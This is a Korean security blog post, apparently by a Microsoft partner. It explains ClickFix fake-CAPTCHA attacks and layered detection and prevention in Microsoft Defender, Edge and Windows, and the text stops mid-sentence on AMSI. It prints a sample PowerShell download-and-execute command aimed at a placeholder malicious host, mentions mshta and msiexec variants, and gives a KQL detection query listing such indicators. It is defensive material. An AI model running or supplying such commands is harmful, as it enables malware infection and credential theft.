[{"data":1,"prerenderedAt":1665},["ShallowReactive",2],{"sc:header-data-ko":3,"sc:footer-data-ko":489,"post-ko--posts-2026-09-21-clickfix-prevent-detect-153089af333d97":519,"authors_data":1088,"content-ko-list-7b291c2dd91a4":1441,"authors_data:Fritz Zurhorst|Nadine Klein":1661},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"ko":13},{"title":14,"url":15,"alt":16},"홈","/ko","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"ko":21},{"title":22,"description":23},"Workplace","스마트하고 안전하며 유연한 워크스페이스를 위한 Microsoft 365 기반 솔루션으로, 최신 기술과 ID 서비스를 매끄럽게 통합합니다.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"ko":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"ko":34},{"title":35,"url":36},"Managed Intune","/ko/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"ko":40},{"title":41,"url":42},"Managed Entra","/ko/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"ko":46},{"title":47,"url":48},"Managed Workplace","/ko/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"ko":52},{"title":53,"url":54},"Consulting Services","/ko/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"ko":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"ko":64},{"title":65,"url":66},"Microsoft Entra Suite","/ko/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"ko":70},{"title":71,"url":72},"Microsoft Intune","/ko/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"ko":76},{"title":77,"url":78},"Microsoft Windows","/ko/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"ko":82},{"title":83,"url":84},"Windows 365 Cloud PC","/ko/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"ko":88},{"title":89,"url":90},"Cloud Workplace Foundation","/ko/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"ko":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"ko":100},{"title":101,"url":102},"Microsoft 365 Copilot","/ko/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"ko":106},{"title":107,"url":108},"Teams","/ko/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"ko":112},{"title":113,"url":114},"SharePoint & Power Platform","/ko/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"ko":118},{"title":119,"url":120},"Exchange Online","/ko/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"ko":124},{"title":125,"url":126},"Information Protection & Compliance","/ko/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"ko":130},{"title":131,"description":132},"Azure","Azure로 성장을 가속하세요: IaaS와 PaaS를 통해 클라우드 비용을 절감하고 효율을 높이며 혁신을 추진합니다.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"ko":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"ko":142},{"title":143,"url":144},"Azure Managed Services","/ko/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"ko":148},{"title":149,"url":150},"Azure Consulting","/ko/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"ko":154},{"title":155},"시나리오",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"ko":160},{"title":161,"url":162},"클라우드 계획","/ko/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"ko":166},{"title":167,"url":168},"클라우드로 마이그레이션","/ko/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"ko":172},{"title":173,"url":174},"비즈니스 혁신","/ko/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"ko":178},{"title":179,"url":180},"VMware 전략 재검토","/ko/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"ko":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"ko":190},{"title":191,"url":192},"Azure Foundation","/ko/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"ko":196},{"title":197,"url":198},"Azure AI Foundation","/ko/azure/azure-ai-foundation",{"name":86,"languages":200},{"ko":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"ko":205},{"title":206,"url":207},"Azure Data Foundation","/ko/azure/azure-data-foundation",{"name":188,"languages":209},{"ko":210},{"title":211,"url":212},"Azure Container Foundation","/ko/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"ko":216},{"title":217,"url":218},"Managed Dark Tenant","/ko/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"ko":222},{"title":223,"url":224},"Cloud Adoption Framework","/ko/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"ko":228},{"title":229,"url":230},"Cloud Competence Center","/ko/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"ko":234},{"title":235,"description":236,"emergency":237},"보안","수상 경력의 24/7 매니지드 서비스, 인시던트 대응, 최신 인프라 보호로 클라우드를 지킵니다.",{"text":238,"href":239,"skin":240,"icon":241},"공격을 받고 있나요?","/ko/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"ko":249},{"title":250,"url":251},"Managed Red Tenant","/ko/security/managed-red-tenant",{"name":214,"languages":253},{"ko":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"ko":259},{"title":260,"url":261},"Sentinel Data Lake","/ko/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"ko":265},{"title":266,"url":267},"Security Consulting","/ko/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"ko":274},{"title":275,"url":276},"Cloud Security Operations Center","/ko/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"ko":280},{"title":281,"url":282},"Global Secure Access","/ko/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"ko":286},{"title":287,"url":288},"MyWorkID","/ko/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"ko":295},{"title":296,"url":297},"Preventive Services","/ko/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"ko":301},{"title":302,"url":303},"Data Security Service","/ko/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"ko":307},{"title":308,"url":309},"Security Copilot Agents","/ko/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"ko":313},{"title":314,"url":315},"NIS2 이행","/ko/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"ko":319},{"title":320,"description":321},"제품","완전히 안전한 100% 클라우드 네이티브 Microsoft 환경을 위한 혁신적인 제품군으로, 협업과 네트워크 인증, 소프트웨어 관리를 강화합니다.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"ko":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","클라우드 기반 소프트웨어 배포",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"ko":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","클라우드에서 인증서 배포",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"ko":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Office 365 데이터를 로컬에서 활용",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"ko":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","서버 간 데이터 마이그레이션",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"ko":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Microsoft 365용 Terraform Provider",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"ko":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","네트워크 인증",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"ko":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Microsoft Teams에서 연락처 찾기",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"ko":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","실시간 Windows Autopilot 모니터링",{"name":396,"languages":397},"casestudies",{"ko":398},{"title":399,"url":400,"description":401},"고객 사례","/ko/casestudies","클라우드의 선구자: Blueprint 기반 접근 방식과 Infrastructure-as-Code 전문성을 갖춘, 포괄적인 클라우드 솔루션을 위한 최고의 Microsoft 파트너입니다.",{"name":403,"languages":404,"children":407},"company",{"ko":405},{"title":406,"description":401},"회사",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"ko":411},{"title":412},"회사 소개",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"ko":417},{"title":418,"url":419},"주요 현황","/ko/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"ko":423},{"title":424,"url":425},"연락처 및 위치","/ko/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"ko":429},{"title":430,"url":431}," glueckkanja 스위스","/ko/company/switzerland",{"name":433,"languages":434},"austria",{"ko":435},{"title":436,"url":437},"glueckkanja 오스트리아","/ko/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"ko":441},{"title":442},"채용",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"ko":447},{"title":448,"url":449},"채용 안내","/ko/career",{"name":451,"languages":452},"company-young-professionals",{"ko":453},{"title":454,"url":455},"Young Professionals","/ko/young-professionals",{"name":457,"languages":458},"company-jobs",{"ko":459},{"title":460,"url":461},"채용 공고","/ko/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"ko":465},{"title":466},"최신 소식",[468,474],{"name":469,"languages":470},"company-blog",{"ko":471},{"title":472,"url":473},"블로그","/ko/blog",{"name":469,"languages":475},{"ko":476},{"title":477,"url":478},"이벤트","/ko/events",[480],{"name":481,"languages":482},"career-meta",{"ko":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"ko":487},{"title":488,"url":425,"active":484},"문의",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksKo":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"개인정보 처리방침","/ko/privacy",{"title":514,"url":515},"법적 고지","/ko/imprint",{"title":517,"url":518},"쿠키 없음","/ko/cookies",{"id":520,"title":521,"author":522,"body":525,"cta":494,"description":577,"eventid":494,"extension":1039,"hideInRecent":484,"layout":1040,"meta":1041,"moment":1045,"navigation":325,"path":1080,"seo":1081,"stem":1082,"tags":1083,"webcast":484,"__hash__":1087},"content_ko/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. 사용자가 곧 익스플로잇일 때, 그리고 이를 멈추는 방법",[523,524],"Fritz Zurhorst","Nadine Klein",{"type":526,"value":527,"toc":1028},"minimal",[528,533,537,540,547,555,558,564,567,587,598,604,610,613,617,619,622,625,629,631,634,648,652,654,661,741,758,761,765,767,770,785,788,791,795,797,800,803,828,832,834,837,844,848,850,853,879,882,885,888,987,990,993,996,1007,1010,1014,1016,1024],[529,530,532],"h2",{"id":531},"clickfix-공격-체인","ClickFix 공격 체인",[534,535,536],"p",{},"{: .h3-font-size}",[534,538,539],{},"ClickFix는 사용자가 자기 자신의 공격자가 되는 공격입니다. 익스플로잇도, 취약점도 없습니다. 피해자가 단 한 번의 복사·붙여넣기로 악성 코드를 직접 실행합니다.",[534,541,542],{},[543,544],"img",{"alt":545,"src":546},"다섯 단계로 이루어진 ClickFix 공격 체인: 미끼, 속임수, 복사·붙여넣기, 실행, 감염.","https://res.cloudinary.com/c4a8/image/upload/blog/pics/click-fix-img-01.png",[534,548,549,550,554],{},"미끼는 소셜 엔지니어링입니다. 악성 페이지의 가짜 CAPTCHA, 가짜 지원 메시지(\"브라우저를 업데이트해야 합니다\"), 피싱 메일 또는 위조된 미팅 페이지입니다. 피해자가 페이지에 머무는 동안 JavaScript가 ",[551,552,553],"code",{},"clipboard.writeText()","로 페이로드를 클립보드에 씁니다. 그다음 페이지는 사용자에게 Win+R, Ctrl+V, Enter를 누르라고 요구합니다. 실행 대화 상자는 클립보드에 있는 것을 실행합니다.",[534,556,557],{},"전형적인 미끼는 다음과 같은 모습입니다.",[534,559,560],{},[543,561],{"alt":562,"src":563},"사용자에게 Win과 X를 누른 뒤 붙여넣고 Enter로 명령을 실행하라고 요구하는 가짜 CAPTCHA 미끼의 스크린샷.","https://res.cloudinary.com/c4a8/image/upload/c_limit,w_1600,f_auto,q_auto/blog/pics/click-fix-img-02.png",[534,565,566],{},"클립보드에 넣는 명령은 다음과 같은 모습입니다.",[568,569,571],"div",{"style":570},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[572,573,578],"pre",{"className":574,"code":575,"language":576,"meta":577,"style":577},"language-powershell shiki shiki-themes github-light github-dark","powershell.exe -w h iex(irm 'https://malicious[.]tld/payload' -UseBasicParsing)\n","powershell","",[551,579,580],{"__ignoreMap":577},[581,582,585],"span",{"class":583,"line":584},"line",1,[581,586,575],{},[534,588,589,590,593,594,597],{},"두 가지 일이 동시에 벌어집니다. PowerShell이 숨겨진 창에서 시작되고(",[551,591,592],{},"-w h","), ",[551,595,596],{},"iex(irm …)","가 페이로드를 내려받아 곧바로 메모리에서 실행합니다. 디스크에는 아무것도 남지 않으므로 시그니처 기반 안티바이러스는 검사할 것이 없습니다. 두 번째 단계는 대개 인포스틸러(Lumma, Vidar, RedLine, StealC)나 원격 접근 트로이 목마, 또는 랜섬웨어 로더입니다.",[534,599,600,601,603],{},"Microsoft Defender 텔레메트리에 나타난 같은 패턴입니다. Windows Terminal에서 시작되어 ",[551,602,596],{},"를 실행하는 숨겨진 PowerShell입니다.",[534,605,606],{},[543,607],{"alt":608,"src":609},"WindowsTerminal.exe에서 pwsh.exe, 다시 powershell.exe로 이어지며 iex(irm …) 명령을 실행하는 프로세스 체인이 담긴 Microsoft Defender inspect record.","https://res.cloudinary.com/c4a8/image/upload/c_limit,w_1600,f_auto,q_auto/blog/pics/click-fix-img-03.png",[534,611,612],{},"이것이 그토록 잘 작동하는 이유는 이렇습니다. 모든 것이 권한 상승 없이 사용자 컨텍스트에서 실행됩니다. 쿠키와 저장된 비밀번호, 세션 토큰은 표준 사용자의 손이 닿는 범위에 있습니다. 공격자는 자신이 노리고 온 것에 도달하기 위해 권한을 상승시킬 필요가 없습니다.",[529,614,616],{"id":615},"microsoft-defender가-탐지하는-것","Microsoft Defender가 탐지하는 것",[534,618,536],{},[534,620,621],{},"Microsoft는 지난 몇 달 동안 ClickFix 탐지에 많은 투자를 했습니다. Defender가 정상 상태이고 올바르게 구성되어 있다면 ClickFix 페이로드에 대한 네이티브 탐지를 받게 됩니다. 2025년 2분기부터 MDE는 \"Suspicious 'ClickFix' behavior detected\", \"Malicious PowerShell command executed via Run dialog\", \"An active 'Pacalau' malware in a command line was prevented from executing\" 같은 제목으로 행위 기반 경고를 게시합니다. 이 경고는 프로세스 체인 분석을 통해 MDE 클라우드 엔진에서 발생하며, AV 탐지와 병행해 대개 몇 초 더 이르게 나옵니다.",[534,623,624],{},"이를 가능하게 하는 구성은 아래 실행 강화 부분에 나옵니다.",[529,626,628],{"id":627},"네이티브-탐지가-한계에-부딪히는-지점","네이티브 탐지가 한계에 부딪히는 지점",[534,630,536],{},[534,632,633],{},"클라우드 기반 ML 시그니처는 작동하기까지 시간이 걸립니다. 저희는 PowerShell 실행과 Defender 경고 사이에 1분이 넘는 공백을 정기적으로 봅니다. 더 빠른 페이로드는 이 창을 빠져나갑니다.",[534,635,636,637,639,640,643,644,647],{},"게다가 공격자는 빠르게 적응합니다. ",[551,638,576],{},"을 ",[551,641,642],{},"mshta http://...","나 ",[551,645,646],{},"msiexec /i http://...","로 바꾸면(둘 다 고전적인 LOLBin입니다) PowerShell에 특화된 탐지는 더 이상 걸리지 않습니다.",[529,649,651],{"id":650},"이-공백을-메우기-runmru-헌트","이 공백을 메우기: RunMRU 헌트",[534,653,536],{},[534,655,656,657,660],{},"이 공백은 Custom Detections으로 메웁니다. 출발점은 사용자가 Win+R 대화 상자에 입력하는 모든 명령을 기록하는 레지스트리 키 ",[551,658,659],{},"RunMRU","에 대한 KQL 쿼리입니다.",[568,662,663],{"style":570},[572,664,668],{"className":665,"code":666,"language":667,"meta":577,"style":577},"language-kusto shiki shiki-themes github-light github-dark","DeviceRegistryEvents\n| where ActionType =~ \"RegistryValueSet\"\n| where InitiatingProcessFileName =~ \"explorer.exe\"\n| where RegistryKey has @\"\\CurrentVersion\\Explorer\\RunMRU\"\n| where RegistryValueData has \" ✅ \"\n    or (RegistryValueData has_any (\"powershell\", \"mshta\", \"curl\", \"msiexec\", \"^\")\n        and RegistryValueData matches regex \"[\\\\u0400-\\\\u04FF\\\\u0370-\\\\u03FF\\\\u0590-\\\\u05FF\\\\u0600-\\\\u06FF\\\\u0E00-\\\\u0E7F\\\\u2C80-\\\\u2CFF\\\\u13A0-\\\\u13FF\\\\u0530-\\\\u058F\\\\u10A0-\\\\u10FF\\\\u0900-\\\\u097F]\")\n    or (RegistryValueData has \"mshta\" and RegistryValueName !~ \"MRUList\" and RegistryValueData !in~ (\"mshta.exe\\\\1\", \"mshta\\\\1\"))\n    or (RegistryValueData has_any (\"bitsadmin\", \"forfiles\", \"ProxyCommand=\") and RegistryValueName !~ \"MRUList\")\n    or ((RegistryValueData startswith \"cmd\" or RegistryValueData startswith \"powershell\")\n        and (RegistryValueData has_any (\"-W Hidden \", \" -eC \", \"curl\", \"E:jscript\", \"ssh\", \"Invoke-Expression\", \"UtcNow\", \"Floor\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\", \"System.IO.Compression\", \"System.IO.MemoryStream\", \"iex\", \"Invoke-WebRequest\", \"iwr\", \"Get-ADDomainController\", \"InstallProduct\", \"-w h\", \"-X POST\", \"Invoke-RestMethod\", \"-NoP -W\", \".InVOKe\", \"-useb\", \"irm \", \"^\", \"[char]\", \"[scriptblock]\", \"-UserAgent\", \"UseBasicParsing\", \".Content\")\n            or RegistryValueData matches regex @\"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\\s[A-Za-z0-9+/=]{15,}\"))\n","kusto",[551,669,670,675,681,687,693,699,705,711,717,723,729,735],{"__ignoreMap":577},[581,671,672],{"class":583,"line":584},[581,673,674],{},"DeviceRegistryEvents\n",[581,676,678],{"class":583,"line":677},2,[581,679,680],{},"| where ActionType =~ \"RegistryValueSet\"\n",[581,682,684],{"class":583,"line":683},3,[581,685,686],{},"| where InitiatingProcessFileName =~ \"explorer.exe\"\n",[581,688,690],{"class":583,"line":689},4,[581,691,692],{},"| where RegistryKey has @\"\\CurrentVersion\\Explorer\\RunMRU\"\n",[581,694,696],{"class":583,"line":695},5,[581,697,698],{},"| where RegistryValueData has \" ✅ \"\n",[581,700,702],{"class":583,"line":701},6,[581,703,704],{},"    or (RegistryValueData has_any (\"powershell\", \"mshta\", \"curl\", \"msiexec\", \"^\")\n",[581,706,708],{"class":583,"line":707},7,[581,709,710],{},"        and RegistryValueData matches regex \"[\\\\u0400-\\\\u04FF\\\\u0370-\\\\u03FF\\\\u0590-\\\\u05FF\\\\u0600-\\\\u06FF\\\\u0E00-\\\\u0E7F\\\\u2C80-\\\\u2CFF\\\\u13A0-\\\\u13FF\\\\u0530-\\\\u058F\\\\u10A0-\\\\u10FF\\\\u0900-\\\\u097F]\")\n",[581,712,714],{"class":583,"line":713},8,[581,715,716],{},"    or (RegistryValueData has \"mshta\" and RegistryValueName !~ \"MRUList\" and RegistryValueData !in~ (\"mshta.exe\\\\1\", \"mshta\\\\1\"))\n",[581,718,720],{"class":583,"line":719},9,[581,721,722],{},"    or (RegistryValueData has_any (\"bitsadmin\", \"forfiles\", \"ProxyCommand=\") and RegistryValueName !~ \"MRUList\")\n",[581,724,726],{"class":583,"line":725},10,[581,727,728],{},"    or ((RegistryValueData startswith \"cmd\" or RegistryValueData startswith \"powershell\")\n",[581,730,732],{"class":583,"line":731},11,[581,733,734],{},"        and (RegistryValueData has_any (\"-W Hidden \", \" -eC \", \"curl\", \"E:jscript\", \"ssh\", \"Invoke-Expression\", \"UtcNow\", \"Floor\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\", \"System.IO.Compression\", \"System.IO.MemoryStream\", \"iex\", \"Invoke-WebRequest\", \"iwr\", \"Get-ADDomainController\", \"InstallProduct\", \"-w h\", \"-X POST\", \"Invoke-RestMethod\", \"-NoP -W\", \".InVOKe\", \"-useb\", \"irm \", \"^\", \"[char]\", \"[scriptblock]\", \"-UserAgent\", \"UseBasicParsing\", \".Content\")\n",[581,736,738],{"class":583,"line":737},12,[581,739,740],{},"            or RegistryValueData matches regex @\"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\\s[A-Za-z0-9+/=]{15,}\"))\n",[534,742,743,744,747,748,747,751,747,754,757],{},"이 쿼리는 ClickFix 명령처럼 보이는 모든 Win+R 항목을 표시합니다. PowerShell이나 mshta, curl 또는 msiexec가 ",[551,745,746],{},"-w hidden",", ",[551,749,750],{},"iex",[551,752,753],{},"irm",[551,755,756],{},"DownloadString"," 같은 전형적인 지표나 Base64로 인코딩된 페이로드와 함께 나타나는 경우입니다. 미묘한 속임수도 잡아냅니다. 많은 가짜 CAPTCHA 미끼가 명령 앞에 붙이는 녹색 체크 표시 이모지가 그렇습니다. 공격자가 텍스트를 위장하고 단순한 문자열 필터를 우회하는 데 쓰는 키릴, 아랍, 태국 영역의 유니코드 문자도 마찬가지입니다. 이런 패턴 중 하나가 Win+R 항목에 나타난다면 지금 ClickFix 공격이 진행 중일 가능성이 매우 높습니다.",[534,759,760],{},"저희 CSOC 고객을 위해 저희는 이 쿼리와 그 밖의 Custom Detections을 운영하며, 새로운 공격 기법과 내장 탐지 사이의 공백을 메웁니다.",[529,762,764],{"id":763},"보호-레이어-1-전달을-차단하기","보호 레이어 1: 전달을 차단하기",[534,766,536],{},[534,768,769],{},"이제 예방으로 넘어갑니다. ClickFix는 널리 퍼져 있고 성공률이 높으므로 단일한 보호 장치만으로는 부족합니다. 저희는 전달부터 실행까지 레이어로 나누어 작업합니다.",[534,771,772,773,776,777,780,781,784],{},"Network Protection은 알려진 전달 도메인과 C2 서버를 모든 브라우저에 대해 차단합니다. MDE Web Content Filtering은 \"Newly registered domains\", \"Hacking\", \"Illegal Software\" 같은 카테고리를 보완합니다. Network Protection은 Windows에 내장되어 있지만, 서드파티 브라우저의 경우 QUIC와 ECH를 비활성화해야 합니다. 둘 다 연결 전체를 암호화해 대상 도메인을 감추기 때문입니다. QUIC는 Chrome과 Firefox에서 엔터프라이즈 정책으로 비활성화하고(Chrome은 ",[551,774,775],{},"QuicAllowed = Disabled",", Firefox는 ",[551,778,779],{},"network.http.http3.enable = false","), ECH를 위해서는 Chrome에서 ",[551,782,783],{},"EncryptedClientHelloEnabled = Disabled","를 설정합니다.",[534,786,787],{},"Edge에서는 SmartScreen을 활성화합니다. 서드파티 브라우저에서는 각 브라우저에 내장된 Safe Browsing을 켭니다. 이는 Network Protection과 같은 것은 아니지만, 악성 페이지를 걸러 내는 데 도움이 됩니다. 메일 벡터의 경우 Safe Links와 Safe Attachments가 사용자가 상호작용하기 전에 링크와 첨부 파일을 검사합니다.",[534,789,790],{},"문제는 이렇습니다. 이 모든 것은 알려진 인프라에 대해서만 작동합니다. 최근의 ClickFix 캠페인은 너무 늦게 식별되고 차단되는 갓 등록된 인프라를 통해 이루어지며, 때로는 공격자가 침해한 정상적인 페이지를 통해 이루어집니다. 그러니 미끼가 전달된 뒤에 무엇이 보호해 주는지 살펴봅시다.",[529,792,794],{"id":793},"보호-레이어-2-속임수를-차단하기","보호 레이어 2: 속임수를 차단하기",[534,796,536],{},[534,798,799],{},"몇 가지 Edge 기능은 사용자가 악성 페이지에 머무는 동안 장벽을 높여 줍니다. 브라우저 확장 프로그램을 통제하면 사용자가 ClickFix 오버레이를 주입하거나 직접 클립보드를 조작하는 악성 또는 침해된 확장 프로그램을 설치하지 못하게 됩니다. Edge Enhanced Security Mode는 알려지지 않았거나 드물게 방문되는 페이지에 더 엄격한 보호 조치(JIT 비활성화, Control Flow Guard, 하드웨어 기반 스택 보호)를 적용해 익스플로잇 기반 브라우저 장악을 크게 어렵게 만듭니다. Typo Protection은 타이포스쿼팅 도메인(micros0ft.com, paypa1.com)에 대해 경고하고, 위조된 브랜드 도메인을 통한 흔한 ClickFix 전달 벡터를 차단합니다.",[534,801,802],{},"기술적 통제는 절반에 불과합니다. 사용자 교육은 여전히 결정적입니다. 가장 큰 몫을 떠받치는 단 하나의 규칙은 이렇습니다. 웹사이트가 무언가를 컴퓨터에 붙여넣으라고 요구한다면 그것은 공격입니다. 인식 교육에서 이를 구체적으로 다루십시오.",[804,805,807,808,807,816,807,822],"ul",{"style":806},"margin: 0.25rem 0","\n  ",[809,810,811,815],"li",{},[812,813,814],"strong",{},"실제 미끼를 보여 주기:"," 가짜 \"Verify you are human\" 체크박스, \"브라우저를 업데이트해야 합니다\", \"문서를 렌더링할 수 없습니다, 이 픽스를 실행하세요\", 망가진 Teams 또는 Zoom 오디오 프롬프트.",[809,817,818,821],{},[812,819,820],{},"클립보드 트릭을 시연하기:"," 페이지가 클립보드를 조용히 덮어쓰는 모습을 보여 주기.",[809,823,824,827],{},[812,825,826],{},"신고를 쉽게 만들기:"," 빠르게, 그리고 책임을 묻지 않고.",[529,829,831],{"id":830},"보호-레이어-3-동작을-차단하기","보호 레이어 3: 동작을 차단하기",[534,833,536],{},[534,835,836],{},"시스템을 강화할 몇 가지 방법이 있는데, 그중 어느 것도 보장은 아닙니다. 실행 대화 상자를 비활성화하는 것부터 시작하십시오. 그러면 Win+R 진입점이 제거됩니다. Microsoft의 ClickFix 가이던스는 \"where it isn't necessary\"라며 이를 비활성화할 것을 권장합니다. 이렇게 하면 특정한 Win+R 붙여넣기 공격은 막히지만, 탐색기 주소창이나 Windows Terminal 같은 다른 시작 경로는 남습니다.",[534,838,839,840,843],{},"추가로 Edge를 ",[551,841,842],{},"DefaultClipboardSetting","으로 강화할 수 있으며, 이는 JavaScript가 조용히 클립보드에 쓰는 것을 막습니다.",[529,845,847],{"id":846},"보호-레이어-4-실행을-차단하기","보호 레이어 4: 실행을 차단하기",[534,849,536],{},[534,851,852],{},"고급 기능에 앞서 기본을 정돈하십시오. ClickFix의 경우 그것은 다음을 뜻합니다.",[804,854,807,855,807,861,807,867,807,873],{"style":806},[809,856,857,860],{},[812,858,859],{},"Local Admin Reduction:"," 코드 실행의 영향을 제한하기 위해 가능한 곳에서는 최종 사용자에게서 로컬 관리자 권한을 제거하기.",[809,862,863,866],{},[812,864,865],{},"Endpoint Privilege Management(EPM):"," 사용자를 표준 사용자로 일하게 하고, 승인된 앱만 정책 규칙을 통해 권한 상승시키기.",[809,868,869,872],{},[812,870,871],{},"UAC 강화:"," 보안 데스크톱 적용, 관리자와 표준 사용자에 대한 프롬프트 동작, 그리고 설치 프로그램 감지를 점검하기.",[809,874,875,878],{},[812,876,877],{},"Credential Guard:"," NTLM 해시와 Kerberos 티켓, 그 밖의 자격 증명 자료를 가상화 기반 보안으로 격리해, 공격자가 관리자 권한을 얻더라도 자격 증명 탈취가 어렵게 유지하기.",[534,880,881],{},"이 통제 수단들은 권한 상승 가능성을 줄이고 자격 증명을 보호하며 Least Privilege를 강제합니다. 다만 한계가 있습니다. 이들은 침해 이후에 벌어지는 일을 제한합니다. 표준 사용자 컨텍스트에 있는 인포스틸러가 사용자가 읽을 수 있는 쿠키와 세션 토큰, 앱 자격 증명 저장소를 읽어 내는 것을 막지는 못합니다.",[534,883,884],{},"그다음은 Microsoft Defender입니다. Defender AV는 두 번째 단계의 페이로드를 탐지할 수 있지만, 올바른 설정이 있어야만 그렇습니다. Cloud Protection을 켜고 보호 수준을 High 또는 High+로 설정해야 합니다. AMSI, 즉 Antimalware Scan Interface는 애플리케이션이 메모리에서 복호화되거나 역난독화된 뒤, 그러나 실행되기 전에 콘텐츠를 런타임에 Defender에 검사하도록 넘길 수 있게 해 줍니다. PowerShell은 악성 코드를 식별하기 위해 AMSI를 사용하며, AMSI에는 